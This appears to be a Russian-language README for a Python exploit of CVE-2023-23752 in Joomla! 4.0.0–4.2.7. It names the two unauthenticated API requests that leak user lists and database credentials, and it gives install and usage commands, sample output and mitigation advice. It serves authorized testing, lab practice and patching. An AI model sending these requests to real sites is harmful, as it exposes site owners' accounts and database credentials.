
Python-порт эксплойта CVE-2023-23752 — Joomla! < 4.2.8 неаутентифицированное раскрытие информации (список пользователей + утечка учётных данных БД)
⚠️ Отказ от ответственности: Этот инструмент предназначен только для образовательных целей и авторизованного тестирования на проникновение. Используйте его только против систем, которыми вы владеете или на тестирование которых имеете явное письменное разрешение. Несанкционированное использование незаконно.
Joomla! — одна из наиболее широко используемых систем управления контентом (CMS) с открытым исходным кодом. Версии 4.0.0 – 4.2.7 открывают две конечные точки API без надлежащего контроля доступа, позволяя неаутентифицированному злоумышленнику получать конфиденциальную информацию: зарегистрированные учётные записи пользователей и, в уязвимых конфигурациях, учётные данные базы данных сайта.
Уязвимость была обнаружена Цзевэем Чжаном (Zewei Zhang) из NSFOCUS TIANJI Lab и раскрыта проекту Joomla!, который выпустил исправление в версии 4.2.8. Ей присвоен номер CVE-2023-23752.
Этот репозиторий содержит порт на Python оригинального эксплойта на Ruby, опубликованного ACCEIS.
| Поле | Значение |
|---|---|
| CVE | CVE-2023-23752 |
| Затронуто | Joomla! 4.0.0 – 4.2.7 |
| Тип | Некорректный контроль доступа / Раскрытие информации |
| Привилегии | Отсутствуют (неаутентифицированный) |
| Воздействие | Раскрытие учётных записей пользователей и учётных данных БД |
| Исправление | Joomla! 4.2.8 (выпущено в 2023 г.) |
Конечные точки веб-сервисов REST API Joomla! должны проверять аутентификацию и права доступа перед возвратом данных. В затронутых версиях две конечные точки не выполняют эту проверку должным образом, когда вызываются с параметром запроса public=true, обрабатывая запрос так, как если бы он поступил от анонимного уровня доступа «public», который должен раскрывать только неконфиденциальные данные, но вместо этого утекает внутренняя информация.
GET /api/index.php/v1/users?public=true
GET /api/index.php/v1/config/application?public=true
Скрипт автоматизирует следующие шаги:
1. Отправка GET-запроса на /api/index.php/v1/users?public=true
2. Парсинг ответа JSON:API и извлечение записей пользователей
3. Отправка GET-запроса на /api/index.php/v1/config/application?public=true
4. Парсинг ответа JSON:API и извлечение конфигурации сайта и базы данных
5. Вывод обоих наборов данных на консоль
Никакая аутентификация, сессия или токен CSRF не требуются ни на одном этапе — вся атака состоит из двух неаутентифицированных GET-запросов.
requestspip install requests --break-system-packages
git clone https://github.com/BardLaudian/CVE-2023-23752.git
cd CVE-2023-23752
pip install requests --break-system-packages
usage: CVE-2023-23752.py [-h] url
positional arguments:
url Базовый URL цели, например http://dev.devvortex.htb
options:
-h, --help показать это справочное сообщение и выйти
python3 CVE-2023-23752.py http://127.0.0.1:4242
python3 CVE-2023-23752.py http://dev.devvortex.htb
=== Users ===
[123] Administrator (admin) - [email protected] - ['Super Users']
=== Site info ===
Site name: My Site
Editor: tinymce
Captcha: 0
Access: 1
Debug status: False
=== Database info ===
DB type: mysqli
DB host: localhost
DB user: joomla_user
DB password: ********
DB name: joomla_db
DB prefix: sd8f2_
DB encryption: 0
/api/index.php/* на уровне веб-сервера или WAF, если обновление невозможно немедленно./api/index.php/v1/.